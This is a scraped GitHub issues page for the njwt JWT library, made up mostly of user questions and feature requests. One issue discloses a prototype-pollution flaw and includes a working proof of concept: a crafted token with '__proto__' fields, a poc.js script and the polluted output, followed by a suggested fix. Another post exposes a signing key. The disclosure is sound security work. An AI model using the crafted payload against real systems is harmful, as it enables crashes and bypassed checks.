jwtk / njwt Goto Github PK
View Code? Open in Web Editor NEWNode.js JWT support
License: Apache License 2.0
Node.js JWT support
License: Apache License 2.0
I dont get why you rely on a shared secret between SSO server and microservice. Why not use a private Key for the server and the according public key on the microservice?
When verifying a token the jti and iat are both overwritten with newer values (new id for jti and new time for iat)
I want to track tokens issued via their jti.
I temp hacked your code to
Attempting to verify a JWT that has specified RS256 as an algorithm:
"alg": "RS256",
Is this algorithm not supported?
Trying to find out what format is accepted to use RSA key for signingKey parameter. Tried this without success:
var signingKey = Buffer.from("-----BEGIN RSA PRIVATE KEY-----XXXXXXX-----END RSA PRIVATE KEY-----", 'base64');
Thanks!
The nJwt library is susceptible to prototype pollution, particularly affecting the JwtHeader
and JwtBody
objects. These objects lack validation to ensure that attributes assigned to them don't resolve to the object prototype. The problem lies within the Parser.prototype.parse
method, which is invoked when a user attempts to verify a JWT token using the nJwt.verify(token, signingKey)
method.
By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object and its inheritance or bypass certain checks. This can be problematic if the software depends on the existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty
, toString
, or valueOf
).
Create a new JWT token with header
and body
as follows:
JWT Header
{
"typ": "JWT",
"alg": "HS256",
"__proto__": {
"compact": null,
"reservedKeys": ["typ", "random_gibberish"] // original: ["typ", "alg"]
}
}
JWT Body
{
"sub": 1,
"scope": "user",
"jti": "4cf58968-e553-4ebd-8d52-1407c654e8d6",
"iat": 1713925867,
"exp": 1713929467,
"__proto__": {
"compact": null,
"toJSON": null,
"polluted": true
}
}
Resulting Token (Example)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJjb21wYWN0IjpudWxsLCJyZXNlcnZlZEtleXMiOlsidHlwIiwicmFuZG9tX2dpYmJlcmlzaCJdfX19.eyJzdWIiOjEsInNjb3BlIjoidXNlciIsImp0aSI6ImJhZmIxNmNlLTIwZDYtNGNkNy05NDgzLTY1YTA5NThhOGU2NCIsImlhdCI6MTcxMzk0NTM3OSwiZXhwIjoxNzEzOTQ4OTc5LCJfX3Byb3RvX18iOnsiY29tcGFjdCI6bnVsbCwidG9KU09OIjpudWxsLCJwb2xsdXRlZCI6dHJ1ZX19.0XBjesxGkSMBjI5_LrwobgoyG-VXI2HCXTGVU-fLFuk
Then, supply the token to be verified with nJwt.verify()
function, for example:
// poc.js
var nJwt = require('njwt');
var secureRandom = require('secure-random');
var signingKey = secureRandom(256, {type: 'Buffer'});
var token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsIl9fcHJvdG9fXyI6eyJjb21wYWN0IjpudWxsLCJyZXNlcnZlZEtleXMiOlsidHlwIiwicmFuZG9tX2dpYmJlcmlzaCJdfX19.eyJzdWIiOjEsInNjb3BlIjoidXNlciIsImp0aSI6ImJhZmIxNmNlLTIwZDYtNGNkNy05NDgzLTY1YTA5NThhOGU2NCIsImlhdCI6MTcxMzk0NTM3OSwiZXhwIjoxNzEzOTQ4OTc5LCJfX3Byb3RvX18iOnsiY29tcGFjdCI6bnVsbCwidG9KU09OIjpudWxsLCJwb2xsdXRlZCI6dHJ1ZX19.0XBjesxGkSMBjI5_LrwobgoyG-VXI2HCXTGVU-fLFuk";
nJwt.verify(token, signingKey);
As a result, the JwtHeader
and JwtBody
attributes will be polluted as follows:
JWT Header
[JWT Header] Attribute Before Pollution: JwtHeader { typ: 'JWT', alg: 'HS256' }
[JWT Header] Prototype Before Pollution: { reservedKeys: [ 'typ', 'alg' ], compact: [Function: compact] }
[JWT Header] Attribute After Pollution: { typ: 'JWT', alg: 'HS256' }
[JWT Header] Prototype After Pollution: { compact: null, reservedKeys: [ 'typ', 'random_gibberish' ] }
JWT Body
[JWT Body] Attribute Before Pollution: JwtBody {}
[JWT Body] Prototype Before Pollution: { toJSON: [Function (anonymous)], compact: [Function: compact] }
[JWT Body] Attribute After Pollution: {
sub: 1,
scope: 'user',
jti: 'bafb16ce-20d6-4cd7-9483-65a0958a8e64',
iat: 1713945379,
exp: 1713948979
}
[JWT Body] Prototype After Pollution: { compact: null, toJSON: null, polluted: true }
An arbitrary user can override existing attributes with ones that have incompatible types, which may lead to a crash, or bypass certain checks via attribute modification, for example, overriding the JwtHeader.prototype.reservedKeys
arrays. It might also be possible to create polluted attributes on every object inheriting from JwtBody
and JwtHeader
objects.
This issue can be fixed by freezing the prototype, or by implementing validation to check for prototype keywords (__proto__
, constructor
and prototype
), where if it exists, the function denies merging it into JwtBody
and JwtHeader
object, thus preventing the prototype pollution vulnerability.
It's time for us to do this :)
I imagine it would look something like this:
function resolver(kid, callback){
// .. find the signing key
cb(err, key);
}
// sync/throw
var verifiedJwt = nJwt.verify(token,signingKey).withKeyResolver(resolver);
// async/cb
nJwt.verify(token,resolver,function(err,verifiedJwt){
// ..
});
Disregard this. My admin pulled the root cert and not the full chain.
I'm getting the following error: "Error: unable to verify the first certificate
at TLSSocket.onConnectSecure (_tls_wrap.js:1049:34)
at TLSSocket.emit (events.js:182:13)
at TLSSocket._finishInit (_tls_wrap.js:631:8)"
I'm assuming this is error is thrown while calling my issuer to get my keys. I have a custom domain with CNAME pointing to my actual issuer. Both my custom domain and actual issuer have proper certs installed on the servers. I should mentioned that my custom domain is a wildcard cert.
If I issue a token using the actual domain of the issuer and not the custom domain then it works just fine.
When calling create()
with a exp
timestamp claim present, we should use that for expiration instead of the default 1 hour expiration.
I find it a little confusing that I have to do the following in order to set an expiration - am I just missing something?
const claims = {
exp: expirationTimestampInSeconds
}
const jwt = njwt.create(claims, signingKey, 'HS256');
jwt.setExpiration(claims.exp * 1000); // this accepts milliseconds for some reason
return jwt.compact();
In create
, why not skip the expiration setting part, if the claims already contains the exp
claim?
Calling .compact() on jwt returned by verify method is throwing an error.
njwt.verify( token, signinKey, function ( err, jwt ) {
if ( err ) {
console.log( "error", err, "\n\n" );
res.send( 401 );
} else {
jwt.setExpiration();
var new_token = jwt.compact(); //this line throws an error "Signing key is required"
res.status( 200 ).send( "You are logged out" );
}
} );
The documentation for this project doesn't specify how security vulnerabilities should be reported.
How would security issues be reported? Should it be done through opening an issue/PR? Thanks!
Hi, I am using the google react plugin which adds a signin button to my app. When I click button, my app receives a Google JWT which I then send to my backend to verify and extract user info.
However, I am currently using googles 'tokeninfo' endpoint to verify it
e.g.
https://www.googleapis.com/oauth2/v3/tokeninfo?id_token=${token}
My question is how can I use your library to verify a google jwt ? I think it needs to use googles public key to decrypt etc.. was hoping you might have an example ?
thanks
Hi,
I've had a look and it doesn't appear there is a way to parse the claims in the JWT without specifically verifying the token. Is there a way to do this?
That would prove useful in a situation where you may have a dynamic secret.
Thanks! :)
The Jwt.prototype.setIssuedAt() and .setExpiration() functions are both time-related, but take in three separate arguments of inconsistent types. IssuedAt only takes in an integer representing seconds, while Expiration can take an integer representing milliseconds, or a Date object. Can you make these arguments consistent?
njwt.create(...)
.setIssuedAt(seconds)
.setExpiration(date or milliseconds);
IssuedAt:
Lines 182 to 185 in ce98cd4
Lines 155 to 157 in ce98cd4
Lines 38 to 40 in ce98cd4
Expiration:
Line 188 in ce98cd4
Would be very useful if this library included Type definitions (@types/njwt apparently has not been created by a type definition contributor yet)
i tried exp: 668747405, exp: '12h' or other method. i can't change expired time in the jwt. How to set expired time in jwt?
tried it by following the doc. in github. got error instead:
TypeError: token.setNotbefore is not a function
any idea?
Errors are currently only identifiable as JwtError
or JwtParseError
. We should create specific errors for each error type so that they can be easily handled. Also, there's currently no documentation for the errors that the library can throw. We need to add that.
E.g. instead of returning:
new JwtParseError(properties.errors.SIGNATURE_ALGORITHM_MISMTACH, jwtString, header, body);
We should return:
new SignatureAlgorithmMismatchJwtParseError(jwtString, header, body);
Today I spent more time than I care to admit chasing down a bug in my authentication mechanism. I kept getting correctly looking JWTs, but they would not be accepted by my other services (that are not running on node).
In the end, it turned out to be a simple mistake of me providing create
with string as signing key instead of a Buffer.
Is there a specific reason that create
does not raise an error saying that I am doing something dumb?
Heyo - found myself here from another library.
Just had a quick look and it would appear njwt also suffers the same problem as jjwt from this organisation (jwtk/jjwt#125). Just from looking at the library, it seems to me the "OpenSSL" ASN.1 encoded signature is being returned (and expected on verification) directly.
If it helps, I created ecdsa-sig-formatter last year to solve the same problem with node-jwa which you could easily add in.
The parser is not visible outside of the module. In order to get access to the header.kid (Key ID), It would be nice to have access to the parser.
I would like to implement a key lookup, and I need to kid from the header.
Referencing #46
I'm struggling with this same issue.
var jwt = nJwt.create(claims,signingKey).setHeader('kid', key._id);
jwt.setExpiration();
return {
signing_key : signingKey.toString('base64'),
secret : jwt.compact(),
};
Verifier:
function getAppKey(kid, cb) {
var key = Keys.findOne(kid);
if (key) {
return cb(null, key.signing_key);
}
cb(new Error('Unknown kid'));
};
let verifier = nJwt.createVerifier().withKeyResolver(getAppKey);
try {
var parsedJwt = verifier.verify(token);
return {
verified : true,
};
} catch(e) {
console.log(e);
return {
verified : false,
app : null,
};
}
Error:
[JwtParseError: Signature verification failed] {
I20221223-13:29:17.200(0)? userMessage: 'Signature verification failed',
I20221223-13:29:17.200(0)? jwtString: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtvVFdNcGdpU0FTU1FQcm15In0.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvIiwic3ViIjoiamtacWtCcW1RRHZadGpkOVIiLCJqdGkiOiI0ODRjNWUxZi0zN2Q4LTRmMDItOWVhZC01Zjk0YWVjMTk1NzAiLCJpYXQiOjE2NzE4MDE2NTh9.M-TeAefEOVA4cLMzq-aS7zuUSZBsWuA06Hnvxm8Fx50',
I20221223-13:29:17.200(0)? parsedHeader: JwtHeader { typ: 'JWT', alg: 'HS256', kid: 'koTWMpgiSASSQPrmy' },
I20221223-13:29:17.200(0)? parsedBody: JwtBody {
I20221223-13:29:17.200(0)? iss: 'http://localhost:3000/',
I20221223-13:29:17.200(0)? sub: 'jkZqkBqmQDvZtjd9R',
I20221223-13:29:17.200(0)? jti: '484c5e1f-37d8-4f02-9ead-5f94aec19570',
I20221223-13:29:17.200(0)? iat: 1671801658
I20221223-13:29:17.200(0)? },
I20221223-13:29:17.200(0)? innerError: undefined
I20221223-13:29:17.200(0)? }
EDIT:
signingKey.toString('base64url')
the error persists.Any help appreciated.
Per the JWT spec, the issued at and expiration times must be in seconds since the epoch, not milliseconds.
I don't want the jti. How do I remove it?
When verify a JWT the following is returned header body and then:
toString: [Function]
What is the expected operation of toString. There is no mention in the docs.
This would make it easy to create your basic token with claims, then add the kid
header.
After I verify a token, I want to look at the token payload.
I have seen both body and parsedBody returned on the verified object - why are there two differences ?
header: JwtHeader { typ: 'JWT', alg: 'HS256' },
body:
JwtBody {
and
parsedHeader: JwtHeader { typ: 'JWT', alg: 'HS256' },
parsedBody:
JwtBody {
Are there any plans to have the njwt library supporting compression and decompression. The jjwt library supports both, this would be a great feature to add
Formatting should follow Crockford's JavaScript formatting conventions. This to increase readability and ease (most JS projects follow this style) when contributing to the project. Also, we should also add a .jslint
-file so that these conventions are enforced.
E.g.
Jwt.prototype.isExpired = function() {
return new Date(this.body.exp*1000) < new Date();
};
Should be formatted as:
Jwt.prototype.isExpired = function () {
return new Date(this.body.exp * 1000) < new Date();
};
And:
if(header instanceof Error){
return done(new JwtParseError(properties.errors.PARSE_ERROR,jwtString,null,null,header));
}
Should be formatted as:
if (header instanceof Error) {
return done(new JwtParseError(properties.errors.PARSE_ERROR, jwtString, null, null, header));
}
I get the following error running uglify:
ERROR in vendor-2dec535e94d383047c4d.js from UglifyJs
Unexpected token: keyword «const» [vendor-2dec535e94d383047c4d.js:67757,2]
I realize that this probably has nothing to do with a runtime security issue, but still such scan results are hard for developers to convince security admins that they should be ignored.
Would it be possible to exclude these keys from the distribution (or the test folder entirely if they are not necessary in the distribution).
How do you install this library? There doesn't seem to be a section on installation in the README.
I came across this report that was opened 3 years ago https://hackerone.com/reports/321704. it seems it is still valid.
It looks like there are some issues with the readme in the docs here.
For instance, if I console.log a JWT, I get the following output:
Jwt {
header: JwtHeader { typ: 'JWT', alg: 'HS256' },
body:
JwtBody {
iss: 'woot',
sub: 'woot',
scope: 'self, admins',
jti: '0398b13d-6a39-4028-813b-2219e077a09b',
iat: 1452724525,
exp: 1452728125 },
signingKey: 'hithere' }
Compare this to the expected output from the readme:
As you can see: in the actual console output the claims are NOT converted to an array, and the output is not pure JSON -- it is mixed with objects.
I solved, it was not possible because of an error in my code.
This package is currently maked as vulnerable see:
https://www.npmjs.com/advisories/679
Getting the above error while trying to create an token using RS256.
const signingKey = secureRandom(256, { type: 'Buffer' }); const jwt = nJwt.create(claims, signingKey, 'RS256');
Currently when calling Jwt()
it acts the same way as new Jwt()
. Instead of returning a new instance of Jwt
calling Jwt()
without new
should throw an error.
When parsing a token that does not have the said fields, they are automatically added. We should not do this during parsing, only creation.
If using a different algorithm to the default (HS256) it must be set manually before calling verify, otherwise will get an "Unexpected signature algorithm" due to the check here https://github.com/jwtk/njwt/blob/master/index.js#L361
The example here should probably call this behaviour out https://github.com/jwtk/njwt#using-a-key-resolver
This tripped me up for a while when verifying a AWS Cognito token
I am getting the following error when I try and verify a jwt:
name: 'JwtParseError',
userMessage: 'Signature verification failed',
message: 'Signature verification failed',
jwtString: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyLzEzOCIsInNjb3BlIjoidXNlciIsImp0aSI6IjQ0YjNjNWJmLTk3OTEtNGFmNy05MjRiLTRmNjg4ZTA5ZjA2NiIsImlhdCI6MTUwMzU5NDgzMiwiZXhwIjoxNTAzNjgxMjMyfQ.0CfrjKNO0oYNLbVQ0veKA2i5FfTqnmIZCqRNfHsoLP0',
parsedHeader: JwtHeader { typ: 'JWT', alg: 'HS256' },
parsedBody:
JwtBody {
sub: 'user/138',
scope: 'user',
jti: '44b3c5bf-9791-4af7-924b-4f688e09f066',
iat: 1503594832,
exp: 1503681232 },
innerError: undefined }
If I try and verify before I base64 encode my key to a string, it works fine.
if I base 64 encode a string and then turn it back into a buffer it fails.
here is a token and base64String of my signing key:
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyLzEzOCIsInNjb3BlIjoidXNlciIsImp0aSI6IjQ0YjNjNWJmLTk3OTEtNGFmNy05MjRiLTRmNjg4ZTA5ZjA2NiIsImlhdCI6MTUwMzU5NDgzMiwiZXhwIjoxNTAzNjgxMjMyfQ.0CfrjKNO0oYNLbVQ0veKA2i5FfTqnmIZCqRNfHsoLP0
key: /n/uCjn0d1mqO8zo6+WMIRkBy1OFHVSXwShHGfLLBmRQ1vgI6WPWvHk3rcL7yf4JORHjLeAxAos6d+KnfdGxnVTcjBcrsGSA9aCcHdDNGgFg7rUgdplkTDD18/faVwveGd88u+5kwE60mnOUsBnHpKAyEsNbtyQQ5RCRYOVk1hdahZNj+s5kXJxnPNMxeT8XwH7Hx/Pm4NK3lF+JwwfDufU6rsWo5X78ndZTsqLdRED7b4RS4NFeh6EanY8NsZn
let signingKey = Buffer.from(base64SigningKey, 'base64');
njwt.verify(token, signingKey, function (err, verified) {
if (err) {
console.log(err);
context.fail("nope");
} else {
console.log(verified);
context.success("yep");
}
});
Please let me know if I am missing anything you need. Thanks
const jwt = nJwt.create({
iss: config.appUrl,
sub: account.href,
jti: token
}, config.secret);
creates a JWT with a '..' which cannot be parsed
I want to use this package in the new project, but in some cases we use our own custom algorithm. Would you accept adding some logic that allows to register new algorithm?
Some servers (e.g. AWS Application Load Balancer) create JWT with .exp field inside the header of JWT, not in the body. NJWT looks for exp only in the body. Thus tokens that are clearly expired still pass the verification process. The isExpired function should probably look for .exp in both header and the body and succeed only if .exp is not there in both.
When calling compact(), only the signature of the token is URL-encoded. The header and body can still have characters such as '=' in them.
I noticed in the README and in #14 that the kid
is not currently supported. Just curious if there may be plans to add this? It is required by Apple's APNS provider authentication tokens. Note however, that unofficially adding the kid
into the header seems to be working; e.g.,
jwt.header.kid = '<kid>';
the package @okta/[email protected] is having [email protected] as a dependency\
https://www.npmjs.com/package/@okta/jwt-verifier?activeTab=dependencies
snyk has reported an issue with [email protected]
https://security.snyk.io/vuln/SNYK-JS-NJWT-6861582.
please check the attached image to view the issue reported by snyk.
is there an update that can resolve the issue for okta/jwt-verifier
The JWT RFC specifies that if the Audience is provided in the token, the verifier MUST provide the matching audience or the validation MUST fail.
https://tools.ietf.org/html/rfc7519#section-4.1.3
This does not seem to be enforced at this time.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.